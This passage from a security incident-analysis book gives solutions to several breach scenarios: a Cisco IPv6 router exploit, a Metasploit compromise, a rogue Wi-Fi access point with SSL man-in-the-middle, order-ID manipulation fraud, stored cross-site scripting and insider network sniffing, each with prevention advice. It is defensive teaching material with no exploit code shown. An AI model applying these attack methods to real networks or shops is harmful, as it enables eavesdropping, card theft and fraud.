Another major problem associated with this attack was the organization’s architecture. Upon successful connection to the VPN, access was granted to INCA’s entire internal network, which comprised the customer billing databases. The VPN access should be architected so that road warriors are held on a separate network, and they should be permitted (by a firewall) to access only key services that they require remotely. Examples may include access to a remote mail solution such as Outlook Web Access or a web-based file database and collaboration system such as Lotus Domino. Very rarely do most users actually require full access to the corporate network remotely, and a controlled environment can go a long way toward mitigating the risk of a serious subversion should another weakness be exploited within the solution.

From a client point of view, the attack may have been mitigated by not offering Janice administrator-level access to her laptop. Most well-set-up operating systems (including Microsoft Windows XP, which Janice was using) would not have permitted Janice’s son to install peer-to-peer file sharing on her computer. Janice should have been configured with normal user-level access to her machine, and a strict local security policy should have been implemented to ensure that his scenario could not have occurred. Providing new laptop builds to external security consultancies is considered best practice to provide reassurance that the most well-skilled users cannot circumvent the security controls.

Encrypting the sensitive content of the database can also be a valuable tool in protecting against theft of customer information from both internal threats (in INCA’s case, a DBA could also view all of the credit card details stored within the database) and outsiders. If the credit card details within the database were encrypted with a suitable technology, the details within the dumped file would also be useless to the intruder.

A minor point includes reconfiguration of the internal DNS to permit zone transfers only to the IP address of trusted secondary servers. While many Internet-based servers are now well locked down in this respect, it is amazing how many internal name servers still provide “neon-lit directions” to the company’s sensitive resources. Furthermore, naming conventions such as custdb1 also assist an attacker in gaining an understanding of juicy IP addresses—using names that are not quite so indicative of a system’s function can certainly slowdown an internal cracker who is trying to find that needle in a haystack.

Finally, Janice should have known better than to let her son use her company computer. All employees within an organization should attend security awareness training as soon as possible to become educated on the dangers they may face with respect to incorrect use of company resources.

ADDITIONAL RESOURCES

Wikipedia definition of VPNs:

 http://en.wikipedia.org/wiki/VPN

SANS Institute’s VPN Policy:

 http://www.sans.org/resources/policies/Virtual_Private_Network.pdf

SANS information on encryption and VPNs:

 http://www.sans.org/rr/whitepapers/vpns/

Center for Internet Security:

 http://www.cisecurity.org/

Windows XP Security Guide:

 http://www.microsoft.com/downloads/details.aspx?FamilyId=2D3E25BC-F434-4CC6-A5A7-09A8A229F118&displaylang=en

Regulation of Investigatory Powers Act 2000 (UK):

 http://www.opsi.gov.uk/acts/acts2000/20000023.htm

ACPO Strategy for the Investigation of Computer-Enabled Criminality and Digital Evidence, January 2005:

 http://www.nhtcu.org/media/documents/publications/ACPO_Hi-Tech_Crime_ Strategy_2005.pdf


SOLUTION 13

The Holy Grail

by Himanshu Dwivedi, iSEC Partners

[image: images]

As soon as Shreya read the results from the router voice.border.gambling.com, she thought she had a good idea of what was happening. She used CiscoIPv6check on the router. The results of the tool are shown here:

[image: image]

Shreya was not too happy with the results of the CiscoIPv6check tool on the router voice.border.gambling.com. How could this router be vulnerable? How did it fall through the cracks? She checked every router that she knew about, but the new VoIP routers were not checked, because voice network was not in control of the security department—only the data network was.

She called a meeting at the NOC and decided to display her evidence and quickly update the vulnerable router. She explained that the router that was compromised was one of the VoIP routers used for Gambling Financial, as noted by its host name. She then showed parts of the router configuration, displaying how the interface with the IP address of 202.188.34.12 did not disable CDP. CDP allowed external attackers to know the version of the router. Figure S13-1 shows an example of the CDP in clear text, revealing the IOS version of the router.


[image: image]


Figure S13-1. CDP network communication in clear text






After the attackers had a list of targets that were running old and vulnerable versions of IOS code, they knew the router was vulnerable to the IPv6 issue introduced at Black Hat. The IPv6 heap overflow gave the attackers enable access on the router, which is the Holy Grail, since it grants users administrator privileges on the router.

The attackers happened to hack the VoIP router, giving the router control of the voice communication inside and outside of Gambling Financial. The attackers had control of every VoIP call on the network. With this access, the attackers could listen to all the conversations on the network, including Shreya’s conversation with her friends Saturday night and the company’s predictions of the tech industry and its marquee companies. The attackers also decided to show their power and take down the communication channel of the company by shutting down a couple of the routers, preventing anyone from using their VoIP desk phones and leaving the company at the mercy of the attackers.


As Shreya and the NOC engineers reviewed this incident, they found that many mistakes had been made with this router. First, it was not patched correctly after the IPv6 vulnerability was identified. Next, it didn’t follow the company’s standard security guideline for Cisco routers, which called for disabling dangerous or unnecessary protocols such as CDP. While disabling CDP would not patch the router, it would have prevented the attackers from knowing what version the router was running. Shreya knew it was difficult to attack something if the attackers didn’t know it existed. She was upset that even though the company had implemented several policies over the past few years that should have prevented this issue, they just weren’t always implemented.

Shreya told the NOC team that routers, just like applications and operating systems, are targets for attackers. Routers need to be updated and patched, and they need to have the most secure settings implemented on them. Shreya downloaded the SecureCisco tool from iSEC Partners. The SecureCisco tool analyzed all the settings on a Cicso router and showed which settings were positive in terms of security and which were negative. It also provided the exact command-line syntax needed to fix the negative settings. Shreya demanded the tool be run on every router that the NOC controlled—voice and wireless routers. Shreya demonstrated how the security of the voice router that was compromised was weak, showing how many unsatisfactory security settings were enabled, including CDP. Figure S13-2 shows the results of the security analysis.



[image: image]




Figure S13-2. SecureCisco Security Analyzer results




[image: image] ANSWERS

1. On the telephone, the attackers used the line “the road to Dushambay,” which is from the movie Spies Like Us. Shreya was quoting a line from that movie to her friends a few minutes earlier on the VoIP phone. The attackers were listening to the conversation and had called Shreya to let her know that they were in her network and to let her know indirectly that they had just listened to her conversation. Shreya knew as soon as they said this that the attackers had access to the voice network and that they had been listening to her conversation.

2. The firewall and VShell logs showed nothing of importance. With any incident, many logfiles will be viewed that are of little use. The firewall logs showed normal HTTP and HTTPs communication in and out of the network. The VShell SSH logs showed a user logging in from the outside earlier in the afternoon, but this was from the trusted external net block and was using public key authentication.

3. CDP was not disabled (no cdp enable was absent under the interface) on Fast Ethernet 5/1, which was an interface facing the public Internet.

4. Nothing was wrong with the egress filters; however, they offered little protection in this attack. Since the attack initiated from the outside, the egress filters had no use for protection. Egress filters are useful when an attacker has gained control of a node inside the internal network and has initiated an outbound connection from that node back to the Internet, which most commonly happens with viruses and worms. In this situation, the attacker initiated the connection from the outside Internet using a zero-day attack. (A zero-day attack is when a recently identified vulnerability is used to immediately attack systems before any patches, information about the vulnerability, or possible mitigations are disclosed by the person(s) who identified the vulnerability.)

5. The IOS was running a vulnerable version of code. IOS version 12.0(4)ST is vulnerable to the heap overflow attack, as shown at Cisco’s support site (http://www.cisco.com/en/US/products/products_security_ advisory09186a00804d82c9.shtml) as well as by iSEC Partners’ CiscoIPv6check tool.

6. The VoIP router was compromised. Here is the evidence:

[image: image]   The attackers said the line “the road to Dushambay,” which was a line from the movie Spies Like Us. Shreya had quoted a line from that movie in a conversation she had with her friend on the VoIP phone just a few minutes before.

[image: image]   The VoIP phones were taken offline for a short period of time by the attackers.

[image: image]   It was stated that the voice routers were not managed by the security department, but rather the NOC. Most likely, the NOC was not aware of the latest and greatest security attacks on IOS routers since it was not their job to keep abreast of all security issues.

[image: image]   CDP had been enabled on the interface facing the external Internet on the VoIP router.

[image: image]    The VoIP router was running a vulnerable version of IOS code.

[image: image]   PREVENTION

The prevention of a zero-day IOS attack includes ensuring that all perimeter routing devices are running the most stable and up-to-date code. The ability to prevent a zero-day in any category (router, operating system, storage device, or application) is extremely difficult, due to the smaller number of routing devices that directly connected to the untrusted Internet (usually15 or fewer for most networks). Ensure that all security issues with the IOS on these routing devices are monitored closely. If and when a security issue is released, ensure all IOS code is updated.

[image: image]   MITIGATION

Ensure that the router is secured just like any operating system. Disable unnecessary services on the router, such as CDP, and ensure that only secure settings have been implemented on the router (such as the use of SSHv2 only and disabling telnet). Lastly, monitor security bulletins from products that control the critical infrastructure of an organization and ensure that any highly critical or damaging security issues are addressed before the issues are released to the public.

ADDITIONAL RESOURCES

Michael Lynn’s IOS vulnerability from Black Hat:

 http://www.securiteam.com/securitynews/5WP020AGKW.html

Securing Cisco routers:

 http://www.isecpartners.com/tools.html CiscoIPv6check SecureCisco

Configuring Secure Shell on Cisco IOS routers:

 http://www.cisco.com/en/US/tech/tk583/tk617/technologies_tech_ note09186a00800949e2.shtml

Implementing SSH - Page 157:

 https://www.amazon.com/gp/reader/0471458805/102-6024131-9860139?keywords=cisco%20router&p=S054&checkSum=pMLXqiFidWeWNSYLM25WSNbgXZWEOWMslFlswJeHj4I=&twc=12&%5fencoding=UTF8&ref%5f=sib%5fvae%5fpg%5f157


SOLUTION 14

Open Source

by David Pollino

[image: image]

The office computer was a default installation of Windows XP. The machine was never patched, as indicated by the service pack version in the security report. It was protected from most Internet-based attacks by the hardware firewall that was installed, but it was easy prey for any locally connected attackers. The attacker likely used Metasploit to run commands to add a user to the office machine, make the user a local administrator, and enable terminal services on the machine with the script found in the hidden data.

[image: images]

There is no evidence of the initial compromise of the system, for the default installation of Windows XP has minimal logging enabled. Joe pinpointed the first time the attacker logged into the machine by checking the date stamps of the attacker’s account profile in the Documents and Settings directory. The first login was about two months before Jay was contacted by the FBI. This attacker used the office computer to find additional machines to compromise and tried to hide his notes with ADS.

To prevent future incidents, Piero set up a firewall to separate the clubhouse network from the office network (Figure S14-1).



[image: image]




Figure S14-1. Clubhouse network design



Jay also felt that they needed to post some kind of warning about the public network, so they updated the informational flyer in the clubhouse (Figure S14-2).



Wireless Internet Instructions

[image: images]

Set your PC or Mac’s wireless card to use the SSID of "Lodge". This network supports wifi cards with the technology of 802.11b or 802.11g. Set your computer’s IP address to “Automatic” or to “Use DHCP”. A nework address will automatically be given out. Some devices will require a reboot. We cannot offer technical support and there is no guarantee of service. The network is limited to 16 concurrent clients with shared bandwidth of 768k. Have fun!

This network does not have a firewall. Use at your own risk. We recommend that you have a personal firewall and antivirus software.




Figure S14-2. Updated instructions




The attacker was a minor, and no further information was revealed to Jay about the attack from the FBI.

[image: image] ANSWERS

1. The attacker used the Metasploit Framework to compromise the office machine. The attacker then added an account for his use. The account was also added to the local administrator’s group. The registry was updated to enable remote desktop, allowing the attacker to use the office machine for further attacks.

2. The office computer was configured for autologin, so Angie never noticed the new account. The office could be seen from the common area of the clubhouse, so the attacker would use it only when no one else was using the computer.

3. The new network design, shown in the solution used by Piero, would help prevent a similar attack. However, the office machine should also be protected with antivirus software and regularly patched. Both the antivirus software and Windows should be configured to check for updates and install them daily. As another line of defense, the Windows firewall or other personal firewall should be enabled.

4. During the time of this attack, the only breach law was California SB 1386. The information contained on the computer was similar to what could be accessed in any phone book. No clients would need to be contacted.

[image: image]   PREVENTION

The steps taken by Piero should prevent this attack from recurring. Proper network segmentation or firewalling networks with different security requirements is necessary, even for small businesses. Software firewalls serve as a great second level of defense against network-based attacks.

Most modern operating systems and antivirus programs will have an automatic update mechanism to protect against security vulnerabilities. Make sure that these features are enabled and that the programs check for updates daily. All programs should be regularly updated, such as office packages and financial software, because these suffer from similar software security defects.

[image: image]   MITIGATION

The data contained on this computer was critical for the operation of this small business. An offsite backup can help protect against this type of attack as well as theft or loss, such as in a fire, of the computer. Proper data storage and archiving practices are important for businesses of all sizes. An alternative to an offsite backup is storing the backup on site in a secured location, such as a fire safe.

ADDITIONAL RESOURCES

Metasploit:

 http://www.metasploit.org

California Senate Bill 1368:

 http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_ chaptered.html

WiebeTech forensics dock with write blocker:

 http://www.weibetech.com

Information on alternate data streams:

 http://www heysoft.de/nt/ntfs-ads.htm

Bootable forensics CDs:

 http://fire.dmzs.com/ http://www.e-fense.com/helix/

Tools for finding and reading alternative data streams:

 http://www.heysoft.de/nt/ep-lads.htm http://www.adstools.net/


SOLUTION 15

A Cup of Chai

by Himanshu Dwivedi, iSEC Partners

[image: images]

Sushant discussed his findings with the coffee shop owner. Kusum was there, too, enjoying her tea and trying to get an update on her account. Sushant explained that he noticed that a missing access point showed up on the network, and one extra hop appeared on the traceroute, which was definitely out of place. He decided to visit the store next door and ask the owner if he could look around for a bit. The shop next door, “Cuts, Coffee, and Sloppy Joes,” specialized in haircuts and sandwiches. He told the store owner the situation and asked if he could look around on the north side of the store—the side that shared a wall with the coffee shop.

After a few minutes of searching, Sushant found exactly what he expected: a small laptop with an embedded wireless card was hidden underneath a chair. The laptop was acting as a wireless access point (instead of a wireless client) by using some simple software that was freely available on the Internet. The rogue wireless access point was broadcasting at a higher rate, making the wireless Internet users from the coffee shop associate with it first instead of the wireless access point in the coffee shop. The goal of the rogue wireless access point—the attacker’s laptop—was to get clients to associate with it, making it the default gateway for the network, and then sending the packets to the real default gateway in the coffee shop. This would allow the attacker to run a sniffer and read all communication from the clear-text protocols being used, such as HTTP, FTP, telnet, Internet SCSI (iSCSI), and RSH.

Additionally, this also allowed the attacker to perform a Secure Sockets Layer (SSL) Man-in-the-Middle (MITM) attack. The SSL MITM would send clients a fake certificate for HTTPS sessions, which was generated by the attacker. The certificate would be pushed down to the coffee shop Internet clients when they tried to perform any communication over HTTPS. If the client accepted this certificate, the communication would be encrypted, but the attacker would be holding all the keys to decrypt the message. Since the communication would still need to go to the correct URL, the attacker program would set up an SSL connection between itself and the real URL requested by the original client, such as online.firstusa.com, Kusum’s credit card company (Figure S15-1). This allowed the attacker to read all clear-text and HTTPS communication over the network, as long as the user accepted the fake certificate (Figure S15-2).



[image: image]




Figure S15-1. Network flow based on intended network





[image: image]




Figure S15-2. Network flow on attacker-controlled network



After hearing of Sushant’s findings, Kusum mentioned that she remembered receiving some warning messages about a certificate, but she’d clicked OK, since the box told her that the certificate was OK. Sushant told Kusum that this is how her account and 44 other accounts were compromised. The attacker’s laptop was a rogue wireless access point and was also performing an SSL MITM attack. The attacker would log into the laptop every night and collect credit card numbers for the day. He probably turned around and sold them to a contact in the black market, who bought credit card numbers for $300 each. Any number with the corresponding security code would go for $500.

The rogue access point was such a simple attack. All the attacker had to do was download software on a laptop, broadcast strong signals, use an SSL MITM attack tool (such as Cain &Abel), and start sniffing. The attacker’s laptop was confiscated, but Sushant determined that the source IP address that the attacker used to get the information off the laptop was from another rogue access point he had placed in other store; this made it difficult to catch or trace him. Sushant was not happy about not finding the attacker, but he was happy that Kusum’s cup of Chai cost only $7 after this event—still too much for a cup of tea, but less than the $1700 charged to her credit card bill.

[image: image] ANSWERS

1. Several possible attack vectors could have been possible, such as a key-logger, phishing attack, pharming attack, malware downloaded from a P2P program, a virus, Trojan, or a worm. Ultimately, a laptop was found, acting as a rogue access point that compromised her account. The laptop was sniffing all clear-text communication with Ethereal and performing an SSL MITM attack with Cain &Abel.

2. The two attack methods that were possible were either the rogue access point or an embedded virus/worm/rootkit, making egress connections to a hostile host. The egress connection to an unknown address was very suspicious and could have been the issue; however, the fake SSL certificate was obviously used to compromise the credit card information.

3. Yes and No. The attacker did place a laptop acting as a wireless access point in the store next door, which caused the coffee shop’s Internet users to associate with it first rather that the real access points. However, the attacker wasn’t really an “insider,” since all he did was drop off a laptop at the location and check it every day. This attack could have been executed from any van outside of a coffee shop or some other Internet hot spot.

4. The access point logs do not show anything out of the ordinary.

5. The attacker used a rogue wireless access point that was broadcasting at a high rate. Unsuspecting users just booted up and connected to whatever wireless network was available. Users never verified whether the access point to which they were connecting was the one they should be connected to (there was no current way for them to know that information beyond the SSID anyway). Once a laptop associates with an attacker’s rogue access point, the attacker basically controls any connections going though that device, including clear-text or encrypted (SSL) communication.

6. NetStumbler showed a missing fourth access point with a large broadcast strength. Traceroute showed the extra hop on the wireless network, which ultimately allowed Sushant to figure out the security issue causing all the problems.

[image: image]   PREVENTION

Due to the openness of untrusted wireless networks, prevention of this attack is difficult. The best model is always to use secure communication channels over any open wireless network, including all airport, coffee shop, home, or other wireless networks. When connected to an open wireless network, use trusted and encrypted communication channels, such as SSH v2, SSL v3/TLS v1 (Transport Layer Security), or Main Mode IPSec, before proceeding with any other network activity.

[image: image]   MITIGATION

User awareness is the first step toward mitigating this attack. Users should be taught never to click OK on any message box from a browser that shows an expired or incorrect SSL certificate.

ADDITIONAL RESOURCES

SANS Institute, “SSL Man-in-the-Middle Attacks”:

 http://www.sans.org/rr/whitepapers/threats/480.php


SOLUTION 16

Love Plus One

by Bill Pennington, WhiteHat Security

[image: images]

Jay had seen a case like this before, and was kicking himself for not thinking about it earlier. It was beginning to dawn on Joel what was going on as well. Someone was rotating through the order numbers, displaying the order details, and then clicking the Reorder button. More than likely, the person was changing the Ship to address on the order; someone was cleaning up on hair-care products.

“You need to shut down online ordering immediately,” Jay commanded.

“What?” Lex exclaimed.

“Every order in your system is spanning a duplicate fraudulent order. You need to shut it down, now,” Jay ordered.

[image: image] ANSWERS

1. The attacker simply incremented the order number in the order history URL by 1 to see another user’s order. Then she clicked the Reorder button and changed the Ship to address on the reorder screen, causing the products to be shipped to her address and not the original Ship to address. Since she was not required to enter in a new credit card number, the original purchaser’s credit card was charged for the new order.

2. This attack bypasses all network-level protections. No firewall was breached in this attack, nor was any operating system flaw exploited. The flaw that was exploited has no vendor-supplied patch, since no vendor existed for this site. The employees of HairCut100 are the only people who can patch this flaw.

3. IDS systems are able to detect only known patterns of attacks against well-known applications. While this pattern of incrementing numbers in a URL is a fairly well-known scheme, the pattern is different on every website, so no single system would catch each. In addition, the fact that a number in a URL can be incremented does not mean a security issue is at hand. Incrementing a number could easily show you the next product in a catalog instead of showing another user’s orders. An IDS could be configured to detect a specific attack if it occurred in a short period of time—perhaps an attacker rapidly rotating through order IDs in a one-minute period— however, it would take just a little more time to correct the code to make this attack impossible.

4. It is likely the attacker knew nothing about the underlying system and how it worked. She simply noticed a number in a URL and decided to increment it by 1. Upon seeing another user’s order, she decided to try to order the products and have them shipped elsewhere. Once that process appeared to work, it was just a matter of doing it for every order in the system and waiting for new orders to be entered.

5. The corrections that Rob added to the code will prevent this from occurring in the current code base. However, every time this code is changed, the potential exists for new security vulnerabilities to be introduced. The application needs to be tested for security vulnerabilities while the application is in production, before it is released.

[image: image]   PREVENTION

This problem could have been prevented by checking to ensure that the person reordering was the same person who placed the original order. This verification could be tied to the user ID. Requiring the user to reenter his or her credit card number before placing a reorder would also prevent a similar problem from occurring.

HairCut100 should also have a thorough application audit performed by hiring a consultant to review the application for this and any other issues. HairCut100 could correct those issues and initiate a more complete security testing process.

[image: image]   MITIGATION

To mitigate this issue, the e-commerce site should be shut down, and customers should not be allowed to order products until the security problems are corrected. Then the company needs to back out every duplicate order and refund every customer the price of the duplicate order.

ADDITIONAL RESOURCES

The Web Application Security Consortium:

 http://www.webappsec.org

CGI Security:

 http://www.cgisecurity.org



SOLUTION 17

Bullet the Blue Sky

by Bill Pennington, WhiteHat Security

[image: images]

Adam was kicking himself. How could he have let this happen? His code allowed someone to insert malicious JavaScript onto the AuctionCo website. Adam changed the profile page code and watched it get pushed out:

[image: images]

Adam felt silly that he had properly escaped the user’s name but failed to add the escaping to the next lines. Ruby on Rails had an easy “helper” to make sure good HTML encoding and escaping were used. An h could be added before the output to sanitize the data and make it safe for rendering.

Now that the fix was in place, Adam sat down to dissect the attack. First he broke down the JavaScript that was inserted; Jimmy checked to see if he could nail down the attacker’s ID.

[image: image]

Adam quickly deciphered the JavaScript. The sendRequest function was the heart of the malicious code. It generated a random six-digit number (all AuctionCo auctions were referenced by six-digit numbers), and then made a request to the bid script with random digits that forced the user to place a bid. AuctionCo was fairly lucky, since the random digits did not always produce currently open auctions. But if the malicious code generated actual open auctions all the time, the impact would be tremendous.

Jimmy went through the logs looking for the last update to the profile.

[image: image]

That source IP was a good starting point. That was the last edit to the page and it was made just before the issue started occurring. A quick whois search showed the following:

[image: image]

Jimmy froze. AuctionsRus was AuctionCo’s biggest competitor. He called the company’s legal team over to look at what he found. Ted from legal came to his side right away.

“What ya got, Jimmy?” Ted asked.

“It looks like that profile was created by someone from AuctionsRus network!” Jimmy stated excitedly.

“Really? So someone using a computer from AuctionsRus put code into our website?”

“Looks that way, according to this.”

“Hmm…. We need to get the CEO involved.”

Ted made a quick trip to the office of Stephanie, the CEO, to let her know what had been discovered. After Ted gave her a quick update on Adam and Jimmy’s findings, Stephanie sat back and thought about the next move. She picked up the phone and dialed the CEO of AuctionsRus. After a quick exchange, Stephanie hung up the phone.

“I don’t think we’ll have a problem with them anymore.”

[image: image] ANSWERS

1. From the JavaScript, we can tell that someone inserted malicious code into a profile page. This code caused users’ browsers to access a URL that actually caused users to bid on a random auction.

2. While Adam’s code certainly enabled this attack to occur, developers are not solely responsible for securing their own code. Although developers should write secure code, all the code should also be checked during the QA and after it is in production. The programming language also shared some blame, as an argument could be made that the escaping functionality should be the default behavior instead of having to be specified.

3. The placing of Google ads in a profile clearly demonstrated that JavaScript injection was possible. What happened in this case was that Adam and the developers failed to realize the potential impact of such an injection.

4. The fix in this case was as simple as adding an h to the function that output the message to the screen. This not only prevented this attack from working, but it prevented any further attacks using any data on the profile page.

5. The bidding process should have had additional security in place. Prompting the user for a password before allowing a bid to be submitted would have prevented this attack from being successful. Any time a user is performing a sensitive function, such as bidding on an item, changing a password, or transferring money, further authentication is warranted.

[image: image]   PREVENTION

Cross Site Scripting attacks can be difficult to prevent on websites that allow users to create or upload content. The simple solution is to HTML entity encode all user-supplied data as it is displayed on a page. This is what the code at the beginning of this solution does. Additionally, developers can filter input to prevent characters from entering the application. Developing a blacklist of denied characters or strings, such as script, is extremely difficult to maintain and often fails as new browsers are released.

[image: image]    MITIGATION

Once a Cross Site Scripting attack has been launched, mitigation can be difficult. In this case there was a simple way to HTML entity encode the data when it was read out of the database. Not all web application languages have this feature and require programmers to develop their own filters.

Another issue with mitigation is finding all the areas in a web application where user-supplied data is displayed. Often developers plug one hole just to find another exploited the next day. A comprehensive, application-wide, filtering solution must be developed to ensure proper mitigation.

ADDITIONAL RESOURCES

BetaNews, “Cross Site Scripting Worm Hits MySpace”:

 http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391

CGI Security, “The Cross Site Scripting FAQ”:

 http://www.cgisecurity.com/articles/xss-faq.shtml

Web Application Security Consortium:

 http://www.webappsec.org

Open Web Application Security Project:

 http://www.owasp.org


SOLUTION 18

The Insider III

by Himanshu Dwivedi, iSEC Partners
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Geoff went back to his cube and reviewed all the information he had. He separated the facts that were provided by Skyview Financial and the facts he had identified with his own investigation. Here are the facts of the case, as presented by Skyview management:

[image: image]  Identity theft occurred.

[image: image] Mortgage accounts were stolen from a customer service application by call center employees.

[image: image] Employees in question have been prevented from accessing the network.

Here are the facts that Geoff identified:

[image: image] The type of data that was compromised included 401k account numbers, not mortgage account numbers.

[image: image] The customer service application (shown in Figure C18-1 in Challenge 18) does not show the complete mortgage account numbers to the call center employees. All account numbers show up as Xs, except the last four digits, so the call center employees could not steal mortgage account numbers.

[image: image] During a small sampling of servers that was identified, two machines were found to have network adapters in promiscuous mode, both running the Ethereal network sniffer program.

Geoff asked to see the two machines that seemed to be somewhat abnormal, with the IP addresses 10.3.15.26 and 10.0.5.24. Aaron found the machines on the network and both men went to the data center on the 18th floor. On their way to the data center, Geoff explained to Aaron that both the machines had network adapters in promiscuous mode, which caused Geoff to suspect foul play, especially since Aaron mentioned that there was no IPS inside the internal network.

Aaron badged into the data center and escorted Geoff inside the large room with its many blinking green lights. Old computer manuals blew across the data center floor as the HVAC systems kicked in and regulated the air conditioning in the room. Aaron found the rack with the interfaces in question and proceeded to walk over with Geoff. The rack’s door crept opened like an old barn door. Both Aaron and Geoff took one look inside the server rack and cringed immediately. Aaron stared into the rack and saw a few too many green blinking lights.

Geoff looked into the rack and quickly saw what he had suspected. The rack contained several ordinary two-unit servers; however, also in the rack was a small, gray Toshiba Libretto laptop with one PCMCIA Ethernet card plugged into a four-port NetGear hub. Connected on the other side of the hub was a big, blue Ethernet cable. It was plugged into jack 12 on the wall panel. The blue Ethernet cable was the only cable strung across the rack—not nicely organized and hidden like the other cables in the rack. It was clear that someone had placed it randomly inside the rack; however, to find what was connected to the other side of the wall panel for jack 12, Aaron and Geoff had to execute an old technique called cable chasing to find the other end of that cable.

After about five minutes, they identified that the cable was connected into the core Catalyst switch of the internal network. This had bad news written all over it, but there was one final step to confirm what both Geoff and Aaron had been thinking. Before they could be fully confident, Aaron entered the following command on the Cisco Catalyst switch to see if any ports were being used as SPAN (Switch Port Analyzer) ports.

[image: images]

The results of the command meant doomsday for Skyview Financial. The Libretto laptop was in promiscuous mode and running a network sniffer, as noted from the results of PromiscDetect and the Inzider utility. The Libretto was connected to a SPAN port on the Catalyst switch, which meant almost every packet on the internal network was being sniffed by the machine. All usernames and passwords for database access (MySQL, Oracle, MS-SQL), e-mail authentication (POP3, IMAP, SMTP), file transfer (FTP, SMB), management (HTTP, Telnet, TFTP, SSHv1, VNC, RDP), router updates (BGP, IGMP, RIP), and several other mainstream yet insecure internal network protocols had been in the hands of whomever had control of this Libretto, which wasn’t any outsourcing company, but a malicious insider.

After about two more weeks of research, Aaron and Geoff found five other Libretto laptops at various network locations, each with a blue Ethernet cable connected to SPAN ports on core internal switches. All data lost by Skyview Financial was compromised by a consultant working inside the company, but the breach had not been from employees in India, China, Sweden, Finland, Canada, or any other major outsourced locale, but from an internal consultant hired by the New York office. The inside consultant set up six Libretto laptops with network sniffers to core internal network switches (using their SPAN ports).

Skyview had hired the consulting company to install new servers all over the data center for various business units. While the consulting company’s technician was doing his job during the day, in the evening he was installing the network sniffers all over the internal network (as noted by the midnight entries in the biometric logs). The technician was hired by an outside underground group to install the six Librettos throughout the network for about $50,000 per box, giving the insider about $300,000 for doing almost nothing. Once Skyview Financial found out about the data loss, the technician panicked and stopped showing up to work. The fingerprints on the Librettos were identified, which was all the forensic evidence the FBI needed to find the guy responsible.

In the court of public opinion, Skyview Financial took it in the shorts. The media was all over the company and its US-based consulting organization regarding the incorrect statements previously reported. Additionally, the Indian outsourcer created a whitepaper called “White Collar Racism: How Indians Are the New Japanese.” The paper stated the following items:

[image: image] The loss of customer data is a problem regardless of whether it is stolen by someone in the US or in another country. The fact that it is stolen by someone in the US for illegal purposes does not make it a less severe security issue, but probably a less complex legal issue.

[image: image] The United States is a country that is always advancing to the next level. The sky did not fall in the 80’s when the Japanese started to specialize in electronics and automobiles, the sky did not fall in the 90’s when labor agreements opened policies with Mexico, and the sky is not falling with the outsourcing of application development. The United States, as the digital leader, will be on the cutting edge of complex and advanced needs, creating the next level of technology to be used in the future.

CSO Louis Hobbs was immediately fired by Skyview Financial for not fully investigating the issue. Aaron was promoted to CSO for his ability to think through the entire situation. Geoff returned to Washington and began to create awareness of how security is not simply about hacked websites anymore, but it has become a multimillion-dollar underground business for high-powered illegal business groups.

[image: image] ANSWERS

1. Inconsistency was that Skyview mentioned that mortgage account numbers were lost, yet all evidence pointed to 401k account numbers being lost.

2. Skyview mentioned that the customer service application had access to the mortgage numbers in question; however, only the last four digits appeared on the user interface, not the entire mortgage number.

3. The $500,000 loss was an issue because consumer confidence is worth way more (millions) than this amount. The motion picture It’s a Wonderful Life demonstrated this point: If consumers lose confidence in their banking system, they will remove their money and go elsewhere, causing the financial organization to fail. If Skyview’s customer confidence fell, the company stood on very fragile ground.

4. The SecureWin2003 tool showed that the security settings on the operating system were not set. Skyview Financial had in place many security policies for its operating systems; however, the settings in the policy were not implemented on the systems.

5. The PromiscDetect and Inzider results showed that two servers and enabled network adapters were in promiscuous mode. Promiscuous mode usually identifies a node that is sniffing passively on the network. Usually, this is not authorized, and it shows that some illegal activity is being performed on the network. Furthermore, since this was not authorized by Skyview Financial, it was a sign that things inside the network were not as secure as they should be.

6. The biometric logs showed that badge ID 92831212 entered the data center on floor 18 around midnight on December 5, December 15, and December 25 (Christmas day). The cleaning staff was last seen on Christmas Eve at 2 p.m., since Skyview Financial employees worked only a half day that day. But the attacker came inside the office building and entered the data center at an odd hour and day (Christmas) to be in the office. Also, this evidence demonstrates how many security groups speak of the cleaning staff as a group who could/would attack the network; however, internal consultants are often ignored, even though the consultants are more likely candidates due to their knowledge of digital networking.

[image: image]   PREVENTION

The prevention of unknown and unauthorized sniffing is a subset of a larger issue, which is securing the data residing inside an internal network. A better approach than the “free love model” of current internal networks is to authenticate and secure each endpoint properly inside an internal network. Treating the internal network as though it were as untrusted as the Internet is a good idea. While not trusting every internal node is impossible, creating trust zones inside the internal network is a starting point. For example, a typical DHCP subnet where user workstations reside should be considered as untrusted as the Internet.

Additionally, many organizations are pushing endpoint defense solutions to secure the internal network, where each endpoint is not trusted unless specifically authenticated (removing DHCP as a trusted entity). Furthermore, once endpoints get authenticated, data transmitted between the endpoint and another node is encrypted in transit, preventing traditional sniffing attacks. Such solutions are available with Juniper’s Infranet Solution, Cisco Network Admission Control, and Microsoft’s Network Access Protection, for example, which can be used to get more information about securing internal networks.

[image: image]   MITIGATION

The mitigation of unknown and unauthorized sniffing can be completed by using some type of network-monitoring product that can detect when a network adapter goes into promiscuous mode, a mode required for most sniffers to operate. Many commercial monitoring tools are available to detect when any adapter on a network has switched modes, which can allow network administrators to determine that some type of unauthorized sniffing is being performed. If an organization’s Acceptable Use Policy states that unauthorized sniffing of the network is not permitted, the organization can take immediate action to take the node off the network.

ADDITIONAL RESOURCES

SecureWin2003:

 http://www.isecpartners.com/tools

Detecting promiscuous adapters:

 http://www.ntsecurity.nu/toolbox/promiscdetect/

Ethereal:

 http://www.ethereal.com

Globalisation Institute, outsourcing myths, “10 Truths about Trade”:

 http://www.globalizationinstitute.org/outsourcing/0507_10_truths_about_trade.php


SOLUTION 19

Jumping Someone

Else’s Train

[image: images]

After seeing the logs, Andres had a pretty good idea what was going on. Someone was using the feedback CGI script he was writing to send spam through his web server. When Andres had written the script, he wanted it to be as flexible as possible, to allow him to send e-mail to anyone at Hairfro. He didn’t realize at the time that this flexibility might be abused by someone to send e-mail to people outside of Hairfro.

[image: image] ANSWERS

1. The e-mail server properly prevented relaying from all external sources. The issue was that a trusted source was being used to send e-mail messages, so while the server configuration was correct it was being circumvented.

2. The attacker was using an attack similar to the formail vulnerability that uses a CGI script on a web server to craft and send spam messages. The CGI script was trusting the input from the URL (the To field in this case) and simply passing it through to the mail system. The mail server was configured to allow the web server to relay mail through it, since it was a presumably trusted system.

